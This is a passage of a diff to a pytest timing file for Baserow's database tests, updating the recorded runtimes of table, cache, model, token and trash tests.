"tests/baserow/contrib/database/search/test_workspace_search_handler.py::test_workspace_row_search_handler_with_interesting_database": 20.908948374999454, + "tests/baserow/contrib/database/table/test_table_actions.py::test_can_undo_create_table": 0.18016779099707492, "tests/baserow/contrib/database/table/test_table_actions.py::test_can_undo_creating_table": 0.14663286999712, - "tests/baserow/contrib/database/table/test_table_actions.py::test_can_undo_delete_table": 0.16111591800017777, + "tests/baserow/contrib/database/table/test_table_actions.py::test_can_undo_delete_table": 0.13490687499870546, "tests/baserow/contrib/database/table/test_table_actions.py::test_can_undo_deleting_table": 0.08264279600189184, - "tests/baserow/contrib/database/table/test_table_actions.py::test_can_undo_duplicate_interesting_table": 5.0395966269989, - "tests/baserow/contrib/database/table/test_table_actions.py::test_can_undo_duplicate_simple_table": 0.1735976659992957, - "tests/baserow/contrib/database/table/test_table_actions.py::test_can_undo_order_tables": 0.16287345699947764, + "tests/baserow/contrib/database/table/test_table_actions.py::test_can_undo_duplicate_interesting_table": 10.114463750011055, + "tests/baserow/contrib/database/table/test_table_actions.py::test_can_undo_duplicate_simple_table": 0.15543958399211988, + "tests/baserow/contrib/database/table/test_table_actions.py::test_can_undo_order_tables": 0.1493918749911245, "tests/baserow/contrib/database/table/test_table_actions.py::test_can_undo_ordering_tables": 0.09278426499804482, - "tests/baserow/contrib/database/table/test_table_actions.py::test_can_undo_redo_create_table": 0.23908612600007473, + "tests/baserow/contrib/database/table/test_table_actions.py::test_can_undo_redo_create_table": 0.26400162500794977, "tests/baserow/contrib/database/table/test_table_actions.py::test_can_undo_redo_creating_table": 0.17084783999962383, - "tests/baserow/contrib/database/table/test_table_actions.py::test_can_undo_redo_delete_table": 0.16851279100137617, + "tests/baserow/contrib/database/table/test_table_actions.py::test_can_undo_redo_delete_table": 0.14257870899746194, "tests/baserow/contrib/database/table/test_table_actions.py::test_can_undo_redo_deleting_table": 0.0852029509987915, - "tests/baserow/contrib/database/table/test_table_actions.py::test_can_undo_redo_duplicate_interesting_table": 5.464222087000962, - "tests/baserow/contrib/database/table/test_table_actions.py::test_can_undo_redo_duplicate_simple_table": 0.18013945799975772, - "tests/baserow/contrib/database/table/test_table_actions.py::test_can_undo_redo_order_tables": 0.169310499999483, + "tests/baserow/contrib/database/table/test_table_actions.py::test_can_undo_redo_duplicate_interesting_table": 14.51017008398776, + "tests/baserow/contrib/database/table/test_table_actions.py::test_can_undo_redo_duplicate_simple_table": 0.17201629100600258, + "tests/baserow/contrib/database/table/test_table_actions.py::test_can_undo_redo_order_tables": 0.15294291696045548, "tests/baserow/contrib/database/table/test_table_actions.py::test_can_undo_redo_ordering_tables": 0.09601600299720303, - "tests/baserow/contrib/database/table/test_table_actions.py::test_can_undo_redo_update_table": 0.16696770699945773, + "tests/baserow/contrib/database/table/test_table_actions.py::test_can_undo_redo_update_table": 0.13248179299989715, "tests/baserow/contrib/database/table/test_table_actions.py::test_can_undo_redo_updating_table": 0.07566394400055287, - "tests/baserow/contrib/database/table/test_table_actions.py::test_can_undo_update_table": 0.1537702919986259, + "tests/baserow/contrib/database/table/test_table_actions.py::test_can_undo_update_table": 0.1288742919859942, "tests/baserow/contrib/database/table/test_table_actions.py::test_can_undo_updating_table": 0.07538672300506732, - "tests/baserow/contrib/database/table/test_table_cache.py::test_can_disable_model_cache": 0.2024110419997669, + "tests/baserow/contrib/database/table/test_table_cache.py::test_can_disable_model_cache": 0.21159195902873762, "tests/baserow/contrib/database/table/test_table_cache.py::test_changing_link_row_field_invalidates_both_tables": 0.14652159999968717, - "tests/baserow/contrib/database/table/test_table_cache.py::test_converting_link_row_field_to_another_type_invalidates_its_related_tables_cache": 0.24730129199906514, - "tests/baserow/contrib/database/table/test_table_cache.py::test_converting_link_row_field_to_point_at_another_table_invalidates_its_related_tables_cache": 0.25088912600040203, - "tests/baserow/contrib/database/table/test_table_cache.py::test_converting_text_to_link_row_field_invalidates_its_related_tables_cache": 0.20307325100020535, - "tests/baserow/contrib/database/table/test_table_cache.py::test_creating_link_row_field_invalidates_its_link_row_related_cache": 0.19498275000023568, - "tests/baserow/contrib/database/table/test_table_cache.py::test_deleting_field_invalidates_tables_model_cache": 0.02789129199936724, + "tests/baserow/contrib/database/table/test_table_cache.py::test_converting_link_row_field_to_another_type_invalidates_its_related_tables_cache": 0.33610341596067883, + "tests/baserow/contrib/database/table/test_table_cache.py::test_converting_link_row_field_to_point_at_another_table_invalidates_its_related_tables_cache": 0.3282782500027679, + "tests/baserow/contrib/database/table/test_table_cache.py::test_converting_text_to_link_row_field_invalidates_its_related_tables_cache": 0.20838900000671856, + "tests/baserow/contrib/database/table/test_table_cache.py::test_creating_link_row_field_invalidates_its_link_row_related_cache": 0.1797388750128448, + "tests/baserow/contrib/database/table/test_table_cache.py::test_deleting_field_invalidates_tables_model_cache": 0.0723796240054071, "tests/baserow/contrib/database/table/test_table_cache.py::test_deleting_field_removes_tables_generated_model_cache_entry": 0.03984264999962761, "tests/baserow/contrib/database/table/test_table_cache.py::test_deleting_table_removes_generated_model_cache_entry": 0.02024358500057133, "tests/baserow/contrib/database/table/test_table_cache.py::test_deleting_tables_database_removes_generated_model_cache_entry": 0.022668213001452386, "tests/baserow/contrib/database/table/test_table_cache.py::test_deleting_tables_group_removes_generated_model_cache_entry": 0.02734894599780091, "tests/baserow/contrib/database/table/test_table_cache.py::test_invalidating_related_table_then_cache_clears_all_versions_keys": 0.13550624799972866, "tests/baserow/contrib/database/table/test_table_cache.py::test_invalidating_the_cache_clears_all_versions_keys": 0.005270461002510274, - "tests/baserow/contrib/database/table/test_table_cache.py::test_restoring_link_row_field_invalidates_its_related_tables_cache": 0.26119808400017064, - "tests/baserow/contrib/database/table/test_table_cache.py::test_trashing_link_row_field_invalidates_its_related_tables_cache": 0.23478458400040836, - "tests/baserow/contrib/database/table/test_table_expressions.py::test_get_database_table_row_count": 0.15964583300046797, - "tests/baserow/contrib/database/table/test_table_expressions.py::test_get_database_table_storage_usage": 0.5719212080002762, - "tests/baserow/contrib/database/table/test_table_handler.py::test_count_rows": 0.03206854099971679, - "tests/baserow/contrib/database/table/test_table_handler.py::test_count_rows_ignores_templates": 0.18390083399935975, - "tests/baserow/contrib/database/table/test_table_handler.py::test_count_rows_table_gets_deleted": 0.20372537500043109, - "tests/baserow/contrib/database/table/test_table_handler.py::test_counting_many_rows_in_many_tables": 0.00011395899946364807, - "tests/baserow/contrib/database/table/test_table_handler.py::test_create_database_minimum_table": 0.3120105420002801, + "tests/baserow/contrib/database/table/test_table_cache.py::test_restoring_link_row_field_invalidates_its_related_tables_cache": 0.33536062500206754, + "tests/baserow/contrib/database/table/test_table_cache.py::test_trashing_link_row_field_invalidates_its_related_tables_cache": 0.30941437400178984, + "tests/baserow/contrib/database/table/test_table_expressions.py::test_get_database_table_row_count": 0.12511175000690855, + "tests/baserow/contrib/database/table/test_table_expressions.py::test_get_database_table_storage_usage": 0.3830871250247583, + "tests/baserow/contrib/database/table/test_table_handler.py::test_count_rows": 0.056778083962854, + "tests/baserow/contrib/database/table/test_table_handler.py::test_count_rows_ignores_templates": 0.14517816598527133, + "tests/baserow/contrib/database/table/test_table_handler.py::test_count_rows_table_gets_deleted": 0.2756490000174381, + "tests/baserow/contrib/database/table/test_table_handler.py::test_counting_many_rows_in_many_tables": 0.00010966701665893197, + "tests/baserow/contrib/database/table/test_table_handler.py::test_create_database_minimum_table": 0.22454325002036057, "tests/baserow/contrib/database/table/test_table_handler.py::test_create_database_table": 0.14153508400340797, - "tests/baserow/contrib/database/table/test_table_handler.py::test_create_example_table": 0.18387595700005477, - "tests/baserow/contrib/database/table/test_table_handler.py::test_create_last_modified_by_field": 0.14895704199989268, + "tests/baserow/contrib/database/table/test_table_handler.py::test_create_example_table": 0.19897016699542291, + "tests/baserow/contrib/database/table/test_table_handler.py::test_create_last_modified_by_field": 0.12281175097450614, "tests/baserow/contrib/database/table/test_table_handler.py::test_create_needs_background_update_column": 0.15338025099936203, - "tests/baserow/contrib/database/table/test_table_handler.py::test_delete_database_table": 0.2828694590007217, - "tests/baserow/contrib/database/table/test_table_handler.py::test_deleting_a_table_breaks_dependant_fields_and_sends_updates_for_them": 0.26752058300007775, - "tests/baserow/contrib/database/table/test_table_handler.py::test_deleting_table_trashes_all_fields_and_any_related_links": 0.37439070799973706, - "tests/baserow/contrib/database/table/test_table_handler.py::test_duplicate_interesting_table": 4.210631293000006, - "tests/baserow/contrib/database/table/test_table_handler.py::test_duplicate_table_after_link_row_field_moved_to_another_table": 0.28882337499908317, - "tests/baserow/contrib/database/table/test_table_handler.py::test_duplicate_table_with_limit_view_link_row_field": 0.23672224999972968, - "tests/baserow/contrib/database/table/test_table_handler.py::test_duplicate_table_with_limit_view_link_row_field_same_table": 0.20265208399905532, + "tests/baserow/contrib/database/table/test_table_handler.py::test_delete_database_table": 0.19552145901252516, + "tests/baserow/contrib/database/table/test_table_handler.py::test_deleting_a_table_breaks_dependant_fields_and_sends_updates_for_them": 0.4431348330108449, + "tests/baserow/contrib/database/table/test_table_handler.py::test_deleting_table_trashes_all_fields_and_any_related_links": 1.4010525009944104, + "tests/baserow/contrib/database/table/test_table_handler.py::test_duplicate_interesting_table": 8.137503416015534, + "tests/baserow/contrib/database/table/test_table_handler.py::test_duplicate_table_after_link_row_field_moved_to_another_table": 0.5039060839917511, + "tests/baserow/contrib/database/table/test_table_handler.py::test_duplicate_table_with_limit_view_link_row_field": 0.2575175010424573, + "tests/baserow/contrib/database/table/test_table_handler.py::test_duplicate_table_with_limit_view_link_row_field_same_table": 0.1904102920088917, "tests/baserow/contrib/database/table/test_table_handler.py::test_exception_is_raised_if_something_goes_wrong": 0.022441471000320234, "tests/baserow/contrib/database/table/test_table_handler.py::test_fill_example_table_data": 0.11836895300075412, - "tests/baserow/contrib/database/table/test_table_handler.py::test_fill_table_with_initial_data": 0.5129543749999357, - "tests/baserow/contrib/database/table/test_table_handler.py::test_get_database_table": 0.16025445899867918, - "tests/baserow/contrib/database/table/test_table_handler.py::test_get_database_table_storage_usage": 0.5678854580000916, + "tests/baserow/contrib/database/table/test_table_handler.py::test_fill_table_with_initial_data": 0.5899432080041151, + "tests/baserow/contrib/database/table/test_table_handler.py::test_get_database_table": 0.14227754197781906, + "tests/baserow/contrib/database/table/test_table_handler.py::test_get_database_table_storage_usage": 0.37689825001871213, "tests/baserow/contrib/database/table/test_table_handler.py::test_get_total_row_count_of_group": 0.05753315000038128, "tests/baserow/contrib/database/table/test_table_handler.py::test_get_total_row_count_of_workspace": 0.061638521000304536, - "tests/baserow/contrib/database/table/test_table_handler.py::test_list_workspace_tables_containing_trashed_table": 0.14926204300081736, - "tests/baserow/contrib/database/table/test_table_handler.py::test_list_workspace_tables_in_trashed_database": 0.14480770799946185, - "tests/baserow/contrib/database/table/test_table_handler.py::test_list_workspace_tables_in_trashed_workspace": 0.144033667000258, - "tests/baserow/contrib/database/table/test_table_handler.py::test_order_tables": 0.2989281249992928, - "tests/baserow/contrib/database/table/test_table_handler.py::test_restoring_a_table_restores_fields_and_related_fields": 0.302562501000466, - "tests/baserow/contrib/database/table/test_table_handler.py::test_restoring_table_with_a_previously_trashed_field_leaves_the_field_trashed": 0.2991414169991913, - "tests/baserow/contrib/database/table/test_table_handler.py::test_table_usage_handler_create_updates_for_all_tables_in_database": 0.16133066699876508, - "tests/baserow/contrib/database/table/test_table_handler.py::test_table_usage_handler_creates_usage_entries_if_missing": 0.15640916699976515, - "tests/baserow/contrib/database/table/test_table_handler.py::test_table_usage_handler_mark_table_for_usage_update": 0.2568718760012416, - "tests/baserow/contrib/database/table/test_table_handler.py::test_table_usage_handler_should_clear_updates_correctly": 0.19298787500065373, - "tests/baserow/contrib/database/table/test_table_handler.py::test_update_database_table": 0.28173737399993115, - "tests/baserow/contrib/database/table/test_table_job_types.py::test_can_submit_duplicate_table_job": 0.3474381670002913, - "tests/baserow/contrib/database/table/test_table_job_types.py::test_can_undo_duplicate_table_job": 0.3671489999996993, + "tests/baserow/contrib/database/table/test_table_handler.py::test_list_workspace_tables_containing_trashed_table": 0.13310595901566558, + "tests/baserow/contrib/database/table/test_table_handler.py::test_list_workspace_tables_in_trashed_database": 0.11636370699852705, + "tests/baserow/contrib/database/table/test_table_handler.py::test_list_workspace_tables_in_trashed_workspace": 0.117944374011131, + "tests/baserow/contrib/database/table/test_table_handler.py::test_order_tables": 0.216652167000575, + "tests/baserow/contrib/database/table/test_table_handler.py::test_restoring_a_table_restores_fields_and_related_fields": 0.7828730829933193, + "tests/baserow/contrib/database/table/test_table_handler.py::test_restoring_table_with_a_previously_trashed_field_leaves_the_field_trashed": 0.7138445419841446, + "tests/baserow/contrib/database/table/test_table_handler.py::test_table_usage_handler_create_updates_for_all_tables_in_database": 0.12967324996134266, + "tests/baserow/contrib/database/table/test_table_handler.py::test_table_usage_handler_creates_usage_entries_if_missing": 0.12489441697834991, + "tests/baserow/contrib/database/table/test_table_handler.py::test_table_usage_handler_mark_table_for_usage_update": 0.28533808400970884, + "tests/baserow/contrib/database/table/test_table_handler.py::test_table_usage_handler_mark_table_for_usage_update_row_count_default_zero": 0.10721833296702243, + "tests/baserow/contrib/database/table/test_table_handler.py::test_table_usage_handler_mark_table_for_usage_update_table_doesnt_exist": 0.26491724999505095, + "tests/baserow/contrib/database/table/test_table_handler.py::test_table_usage_handler_should_clear_updates_correctly": 0.18580212505185045, + "tests/baserow/contrib/database/table/test_table_handler.py::test_update_database_table": 0.18911616600234993, + "tests/baserow/contrib/database/table/test_table_handler.py::test_usage_is_calculated_correctly_when_a_template_is_installed": 4.970908207993489, + "tests/baserow/contrib/database/table/test_table_handler.py::test_usage_is_calculated_correctly_when_creating_a_new_table": 0.38523954202537425, + "tests/baserow/contrib/database/table/test_table_handler.py::test_usage_is_calculated_correctly_when_rows_are_deleted": 0.0743728739907965, + "tests/baserow/contrib/database/table/test_table_job_types.py::test_can_submit_duplicate_table_job": 0.373952500987798, + "tests/baserow/contrib/database/table/test_table_job_types.py::test_can_undo_duplicate_table_job": 0.3698562490462791, "tests/baserow/contrib/database/table/test_table_job_types.py::test_cannot_undo_duplicate_table_job": 0.7059441869969305, "tests/baserow/contrib/database/table/test_table_models.py::test_cachalot_cache_only_count_query_correctly": 0.30269766699984757, - "tests/baserow/contrib/database/table/test_table_models.py::test_can_still_move_rows_in_table_with_lookup_of_lookup": 0.37593612499949813, - "tests/baserow/contrib/database/table/test_table_models.py::test_enhance_by_fields_queryset": 0.01864749899959861, - "tests/baserow/contrib/database/table/test_table_models.py::test_filter_by_fields_object_queryset": 0.040344957999877806, - "tests/baserow/contrib/database/table/test_table_models.py::test_filter_by_fields_object_with_created_on_queryset": 0.016906290999031626, - "tests/baserow/contrib/database/table/test_table_models.py::test_filter_by_fields_object_with_updated_on_queryset": 0.01723708400004398, - "tests/baserow/contrib/database/table/test_table_models.py::test_get_table_model": 0.05213391699908243, - "tests/baserow/contrib/database/table/test_table_models.py::test_get_table_model_to_str": 0.024429623000287393, - "tests/baserow/contrib/database/table/test_table_models.py::test_get_table_model_with_fulltext_search_enabled": 0.027016458000616694, + "tests/baserow/contrib/database/table/test_table_models.py::test_can_still_move_rows_in_table_with_lookup_of_lookup": 0.6687297500029672, + "tests/baserow/contrib/database/table/test_table_models.py::test_enhance_by_fields_queryset": 0.05029891600133851, + "tests/baserow/contrib/database/table/test_table_models.py::test_filter_by_fields_object_queryset": 0.0986935000109952, + "tests/baserow/contrib/database/table/test_table_models.py::test_filter_by_fields_object_with_created_on_queryset": 0.04947029199684039, + "tests/baserow/contrib/database/table/test_table_models.py::test_filter_by_fields_object_with_row_ids_queryset": 0.05900004197610542, + "tests/baserow/contrib/database/table/test_table_models.py::test_filter_by_fields_object_with_updated_on_queryset": 0.0508093329553958, + "tests/baserow/contrib/database/table/test_table_models.py::test_get_table_model": 0.12220654200064018, + "tests/baserow/contrib/database/table/test_table_models.py::test_get_table_model_to_str": 0.06669783298275433, + "tests/baserow/contrib/database/table/test_table_models.py::test_get_table_model_with_fulltext_search_enabled": 0.05941183399409056, "tests/baserow/contrib/database/table/test_table_models.py::test_group_user_get_next_order": 0.03072759200586006, - "tests/baserow/contrib/database/table/test_table_models.py::test_last_modified_by_reference_doesnt_prevent_user_deletion": 0.16381204199933563, - "tests/baserow/contrib/database/table/test_table_models.py::test_model_coming_out_of_cache_queries_correctly": 0.16223437499957072, - "tests/baserow/contrib/database/table/test_table_models.py::test_order_by_field_string_with_multiple_field_types_requiring_aggregations": 0.03692316700016818, - "tests/baserow/contrib/database/table/test_table_models.py::test_order_by_fields_string_queryset": 0.07715354100037075, - "tests/baserow/contrib/database/table/test_table_models.py::test_order_by_fields_string_queryset_with_user_field_names": 0.0550760829992214, - "tests/baserow/contrib/database/table/test_table_models.py::test_search_all_fields_compat_mode": 0.014855793000606354, - "tests/baserow/contrib/database/table/test_table_models.py::test_search_all_fields_full_text_mode_count": 0.014800543001001643, - "tests/baserow/contrib/database/table/test_table_models.py::test_search_all_fields_full_text_mode_count_with_full_text_disabled": 0.015931042000374873, + "tests/baserow/contrib/database/table/test_table_models.py::test_last_modified_by_reference_doesnt_prevent_user_deletion": 0.14617333293426782, + "tests/baserow/contrib/database/table/test_table_models.py::test_model_coming_out_of_cache_queries_correctly": 0.14788445900194347, + "tests/baserow/contrib/database/table/test_table_models.py::test_order_by_field_string_with_multiple_field_types_requiring_aggregations": 0.08464650003588758, + "tests/baserow/contrib/database/table/test_table_models.py::test_order_by_fields_string_queryset": 0.13729600099031813, + "tests/baserow/contrib/database/table/test_table_models.py::test_order_by_fields_string_queryset_with_type": 0.09257100100512616, + "tests/baserow/contrib/database/table/test_table_models.py::test_order_by_fields_string_queryset_with_user_field_names": 0.1966709159896709, + "tests/baserow/contrib/database/table/test_table_models.py::test_search_all_fields_compat_mode": 0.043731207959353924, + "tests/baserow/contrib/database/table/test_table_models.py::test_search_all_fields_full_text_mode_count": 0.039213708048919216, + "tests/baserow/contrib/database/table/test_table_models.py::test_search_all_fields_full_text_mode_count_with_full_text_disabled": 0.04167675002827309, "tests/baserow/contrib/database/table/test_table_models.py::test_search_all_fields_queryset": 0.0945907149980485, - "tests/baserow/contrib/database/table/test_table_models.py::test_search_all_fields_queryset[compat]": 0.08651025000017398, - "tests/baserow/contrib/database/table/test_table_models.py::test_search_all_fields_queryset[full-text-with-count]": 0.08533266699942033, - "tests/baserow/contrib/database/table/test_table_models.py::test_search_all_fields_search_mode_not_implemented": 0.015346623999903386, - "tests/baserow/contrib/database/table/test_table_models.py::test_table_hierarchy": 0.145341499001006, - "tests/baserow/contrib/database/table/test_table_models.py::test_table_model_fields_requiring_refresh_after_update": 0.027631915999336343, - "tests/baserow/contrib/database/table/test_table_models.py::test_table_model_fields_requiring_refresh_on_insert": 0.03722008400109189, - "tests/baserow/contrib/database/table/test_table_models.py::test_workspace_user_get_next_order": 0.02362929199989594, + "tests/baserow/contrib/database/table/test_table_models.py::test_search_all_fields_queryset[compat]": 0.3248912909766659, + "tests/baserow/contrib/database/table/test_table_models.py::test_search_all_fields_queryset[full-text-with-count]": 0.3139907500008121, + "tests/baserow/contrib/database/table/test_table_models.py::test_search_all_fields_search_mode_not_implemented": 0.03835912499926053, + "tests/baserow/contrib/database/table/test_table_models.py::test_table_hierarchy": 0.12710529199102893, + "tests/baserow/contrib/database/table/test_table_models.py::test_table_model_fields_requiring_refresh_after_update": 0.07256420797784813, + "tests/baserow/contrib/database/table/test_table_models.py::test_table_model_fields_requiring_refresh_on_insert": 0.08151733397971839, + "tests/baserow/contrib/database/table/test_table_models.py::test_update_returning_ids": 0.057070499984547496, + "tests/baserow/contrib/database/table/test_table_models.py::test_workspace_user_get_next_order": 0.058652459003496915, "tests/baserow/contrib/database/table/test_table_usage_types.py::test_table_group_storage_usage_item_type": 0.23303676399518736, "tests/baserow/contrib/database/table/test_table_usage_types.py::test_table_group_storage_usage_item_type_performance": 0.00023856900224927813, "tests/baserow/contrib/database/table/test_table_usage_types.py::test_table_group_storage_usage_item_type_trashed_database": 0.14525413800220122, "tests/baserow/contrib/database/table/test_table_usage_types.py::test_table_group_storage_usage_item_type_trashed_table": 0.15947362400402199, "tests/baserow/contrib/database/table/test_table_usage_types.py::test_table_group_storage_usage_item_type_unique_files": 0.18385869299891056, - "tests/baserow/contrib/database/table/test_table_usage_types.py::test_table_workspace_storage_usage_item_type": 0.6082019579998814, - "tests/baserow/contrib/database/table/test_table_usage_types.py::test_table_workspace_storage_usage_item_type_performance": 0.00013708299957215786, - "tests/baserow/contrib/database/table/test_table_usage_types.py::test_table_workspace_storage_usage_item_type_trashed_database": 0.48144329200022185, - "tests/baserow/contrib/database/table/test_table_usage_types.py::test_table_workspace_storage_usage_item_type_trashed_file_field": 0.4976745829999345, - "tests/baserow/contrib/database/table/test_table_usage_types.py::test_table_workspace_storage_usage_item_type_trashed_table": 0.5024583760014139, - "tests/baserow/contrib/database/table/test_table_usage_types.py::test_table_workspace_storage_usage_item_type_unique_files": 0.6675627080003323, + "tests/baserow/contrib/database/table/test_table_usage_types.py::test_table_workspace_storage_usage_item_type": 0.5903690419800114, + "tests/baserow/contrib/database/table/test_table_usage_types.py::test_table_workspace_storage_usage_item_type_performance": 0.00013966596452519298, + "tests/baserow/contrib/database/table/test_table_usage_types.py::test_table_workspace_storage_usage_item_type_trashed_database": 0.8623718760209158, + "tests/baserow/contrib/database/table/test_table_usage_types.py::test_table_workspace_storage_usage_item_type_trashed_file_field": 0.4884819170110859, + "tests/baserow/contrib/database/table/test_table_usage_types.py::test_table_workspace_storage_usage_item_type_trashed_table": 0.48432225099531934, + "tests/baserow/contrib/database/table/test_table_usage_types.py::test_table_workspace_storage_usage_item_type_unique_files": 0.9164566249819472, "tests/baserow/contrib/database/test_cachalot.py::test_cachalot_cache_count_for_filtered_views": 0.3968742500001099, "tests/baserow/contrib/database/test_cachalot.py::test_cachalot_cache_multiple_select_correctly": 0.3875530830009666, - "tests/baserow/contrib/database/test_database_actions.py::test_can_undo_duplicate_interesting_database": 13.903311047999523, - "tests/baserow/contrib/database/test_database_actions.py::test_can_undo_redo_duplicate_interesting_database": 12.56554367299941, - "tests/baserow/contrib/database/test_database_application_type.py::test_create_application_and_init_with_data": 0.19022970899823122, - "tests/baserow/contrib/database/test_database_application_type.py::test_database_application_creation_does_register_an_action": 0.14477625000017724, - "tests/baserow/contrib/database/test_database_application_type.py::test_import_export_database": 0.27673741599846835, - "tests/baserow/contrib/database/test_database_application_type.py::test_install_template_sets_last_modified_by_none": 0.3861274160008179, - "tests/baserow/contrib/database/test_database_plugin.py::test_user_created_with_invitation_or_template_returns": 0.29163912600051844, + "tests/baserow/contrib/database/test_database_actions.py::test_can_undo_duplicate_interesting_database": 26.594030375010334, + "tests/baserow/contrib/database/test_database_actions.py::test_can_undo_redo_duplicate_interesting_database": 27.233548999996856, + "tests/baserow/contrib/database/test_database_application_type.py::test_create_application_and_init_with_data": 0.17038879200117663, + "tests/baserow/contrib/database/test_database_application_type.py::test_database_application_creation_does_register_an_action": 0.10120537396869622, + "tests/baserow/contrib/database/test_database_application_type.py::test_import_export_database": 0.4192281669820659, + "tests/baserow/contrib/database/test_database_application_type.py::test_install_template_sets_last_modified_by_none": 0.40967116598039865, + "tests/baserow/contrib/database/test_database_application_type.py::test_perform_create_interesting_database": 26.520050209015608, + "tests/baserow/contrib/database/test_database_application_type.py::test_perform_restore_interesting_database": 24.33665449899854, + "tests/baserow/contrib/database/test_database_plugin.py::test_user_created_with_invitation_or_template_returns": 0.15740595900570042, "tests/baserow/contrib/database/test_database_plugin.py::test_user_created_with_workspace_without_invitation_or_template_creates_dummy_data": 0.16417330293916166, - "tests/baserow/contrib/database/test_database_plugin.py::test_user_created_without_workspace_returns": 0.13839987399933307, - "tests/baserow/contrib/database/test_permissions_manager.py::test_allow_if_template_permission_manager": 0.18177662499965663, - "tests/baserow/contrib/database/test_permissions_manager.py::test_allow_if_template_permission_manager_filter_queryset": 0.18422708399975818, - "tests/baserow/contrib/database/test_tasks.py::test_enqueue_task_with_exception_handling_logs_on_delay_exception": 0.011294333000478218, - "tests/baserow/contrib/database/tokens/test_token_actions.py::test_create_db_token_action_type": 0.1658583339985853, - "tests/baserow/contrib/database/tokens/test_token_actions.py::test_delete_db_token_action_type": 0.14536266600043746, - "tests/baserow/contrib/database/tokens/test_token_actions.py::test_rotate_db_token_key_action_type": 0.14225591699960205, - "tests/baserow/contrib/database/tokens/test_token_actions.py::test_update_db_token_name_action_type": 0.13950887499959208, - "tests/baserow/contrib/database/tokens/test_token_actions.py::test_update_db_token_permissions_action_type": 0.14484774900029151, - "tests/baserow/contrib/database/tokens/test_token_handler.py::test_check_table_permissions": 0.19963970800017705, - "tests/baserow/contrib/database/tokens/test_token_handler.py::test_create_token": 0.1450808749987118, - "tests/baserow/contrib/database/tokens/test_token_handler.py::test_delete_token": 0.2761298329996862, - "tests/baserow/contrib/database/tokens/test_token_handler.py::test_generate_token": 0.16891662600028212, - "tests/baserow/contrib/database/tokens/test_token_handler.py::test_get_by_key": 0.270610749998923, - "tests/baserow/contrib/database/tokens/test_token_handler.py::test_get_token": 0.2838745420003761, - "tests/baserow/contrib/database/tokens/test_token_handler.py::test_has_table_permission": 0.6571512090004035, - "tests/baserow/contrib/database/tokens/test_token_handler.py::test_rotate_token_key": 0.26979483399918536, - "tests/baserow/contrib/database/tokens/test_token_handler.py::test_update_token": 0.2733453319979162, - "tests/baserow/contrib/database/tokens/test_token_handler.py::test_update_token_permission": 0.2996549590016002, + "tests/baserow/contrib/database/test_database_plugin.py::test_user_created_without_workspace_returns": 0.10623995901551098, + "tests/baserow/contrib/database/test_permissions_manager.py::test_allow_if_template_permission_manager": 0.1875421250006184, + "tests/baserow/contrib/database/test_permissions_manager.py::test_allow_if_template_permission_manager_filter_queryset": 0.21318074999726377, + "tests/baserow/contrib/database/test_tasks.py::test_enqueue_task_with_exception_handling_logs_on_delay_exception": 0.020692833000794053, + "tests/baserow/contrib/database/tokens/test_token_actions.py::test_create_db_token_action_type": 0.09922754202852957, + "tests/baserow/contrib/database/tokens/test_token_actions.py::test_delete_db_token_action_type": 0.09466691702255048, + "tests/baserow/contrib/database/tokens/test_token_actions.py::test_rotate_db_token_key_action_type": 0.0910031670355238, + "tests/baserow/contrib/database/tokens/test_token_actions.py::test_update_db_token_name_action_type": 0.08825254201656207, + "tests/baserow/contrib/database/tokens/test_token_actions.py::test_update_db_token_permissions_action_type": 0.10512904202914797, + "tests/baserow/contrib/database/tokens/test_token_handler.py::test_check_table_permissions": 0.18416183401132002, + "tests/baserow/contrib/database/tokens/test_token_handler.py::test_create_token": 0.10102512498269789, + "tests/baserow/contrib/database/tokens/test_token_handler.py::test_delete_token": 0.17094791802810505, + "tests/baserow/contrib/database/tokens/test_token_handler.py::test_generate_token": 0.12174112498178147, + "tests/baserow/contrib/database/tokens/test_token_handler.py::test_get_by_key": 0.15491704200394452, + "tests/baserow/contrib/database/tokens/test_token_handler.py::test_get_token": 0.16587912497925572, + "tests/baserow/contrib/database/tokens/test_token_handler.py::test_has_table_permission": 0.49719445800292306, + "tests/baserow/contrib/database/tokens/test_token_handler.py::test_rotate_token_key": 0.15957466600229964, + "tests/baserow/contrib/database/tokens/test_token_handler.py::test_update_token": 0.1576995000068564, + "tests/baserow/contrib/database/tokens/test_token_handler.py::test_update_token_permission": 0.21534945798339322, "tests/baserow/contrib/database/tokens/test_token_handler.py::test_update_token_usage": 0.07435148000149638, "tests/baserow/contrib/database/trash/test_database_trash_types.py::test_a_parent_id_must_be_provided_when_trashing_or_restoring_a_row": 0.09910783699524472, "tests/baserow/contrib/database/trash/test_database_trash_types.py::test_a_parent_id_must_not_be_provided_when_trashing_or_restoring_an_app": 0.06114536200038856, - "tests/baserow/contrib/database/trash/test_database_trash_types.py::test_a_restored_field_will_have_its_name_changed_to_ensure_it_is_unique": 0.36614129200006573, - "tests/baserow/contrib/database/trash/test_database_trash_types.py::test_a_trashed_linked_row_pointing_at_a_trashed_row_is_restored_correctly": 0.2918158749998838, - "tests/baserow/contrib/database/trash/test_database_trash_types.py::test_can_delete_applications_and_rows_in_the_same_perm_delete_batch": 0.21022241599985136, - "tests/baserow/contrib/database/trash/test_database_trash_types.py::test_can_delete_fields_and_rows_in_the_same_perm_delete_batch": 0.2196302519987512, - "tests/baserow/contrib/database/trash/test_database_trash_types.py::test_can_delete_tables_and_rows_in_the_same_perm_delete_batch": 0.23168920800071646, - "tests/baserow/contrib/database/trash/test_database_trash_types.py::test_can_perm_delete_application_which_links_to_self": 0.2043952090007224, - "tests/baserow/contrib/database/trash/test_database_trash_types.py::test_can_perm_delete_application_with_linked_tables": 0.45807308399889735, - "tests/baserow/contrib/database/trash/test_database_trash_types.py::test_can_perm_delete_tables": 0.39023933299995406, - "tests/baserow/contrib/database/trash/test_database_trash_types.py::test_can_trash_row_with_blank_primary_file_field": 0.16010958399874653, - "tests/baserow/contrib/database/trash/test_database_trash_types.py::test_can_trash_row_with_blank_primary_single_select": 0.15953204199922766, - "tests/baserow/contrib/database/trash/test_database_trash_types.py::test_cant_delete_row_by_id_perm_without_tableid": 0.16203174899965234, + "tests/baserow/contrib/database/trash/test_database_trash_types.py::test_a_restored_field_will_have_its_name_changed_to_ensure_it_is_unique": 0.7385632089863066, + "tests/baserow/contrib/database/trash/test_database_trash_types.py::test_a_trashed_linked_row_pointing_at_a_trashed_row_is_restored_correctly": 0.407492458994966, + "tests/baserow/contrib/database/trash/test_database_trash_types.py::test_can_delete_applications_and_rows_in_the_same_perm_delete_batch": 0.27673166600288823, + "tests/baserow/contrib/database/trash/test_database_trash_types.py::test_can_delete_fields_and_rows_in_the_same_perm_delete_batch": 0.27508591700461693, + 